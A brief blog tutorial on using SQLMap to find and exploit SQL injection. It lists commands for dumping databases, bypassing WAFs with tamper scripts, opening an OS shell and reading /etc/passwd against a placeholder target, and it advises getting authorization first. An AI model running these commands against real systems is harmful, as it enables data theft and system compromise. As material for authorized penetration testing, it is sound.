블로그로 돌아가기
Tools

SQLMap: Automated SQL Injection Testing Guide

Complete guide to using SQLMap for automated SQL injection detection and exploitation.

Semih Kilic March 9, 2026 15 min read

Introduction

SQLMap is the world's most popular open-source SQL injection tool. It automates detection and exploitation of SQL injection vulnerabilities.

Basic Scanning

  • Basic test: sqlmap -u "https://target.com/page?id=1"
  • POST data: sqlmap -u "https://target.com/login" --data="user=admin&pass=123"
  • Specific param: sqlmap -u "https://target.com/page?id=1" -p id
  • Database Enumeration

  • List databases: sqlmap -u URL --dbs
  • List tables: sqlmap -u URL -D mydb --tables
  • Dump table: sqlmap -u URL -D mydb -T users --dump
  • Dump all: sqlmap -u URL --dump-all
  • Advanced Techniques

    Bypass WAF/IPS

  • Use tamper scripts: --tamper=space2comment,between
  • Randomize user-agent: --random-agent
  • Use cookies: --cookie="session=abc123"
  • OS Shell Access

  • Get interactive shell: --os-shell
  • Read local files: --file-read="/etc/passwd"
  • Best Practices

  • Always get authorization before testing
  • Start with less intrusive tests using --level=1 --risk=1
  • Use --batch for automated scanning
  • Save your session with --session for resume capability
  • Test in a lab first to understand the tool

Conclusion

SQLMap is essential for web application security testing. Master its capabilities and always use it responsibly.

#sqlmap#sql-injection#web-security#penetration-testing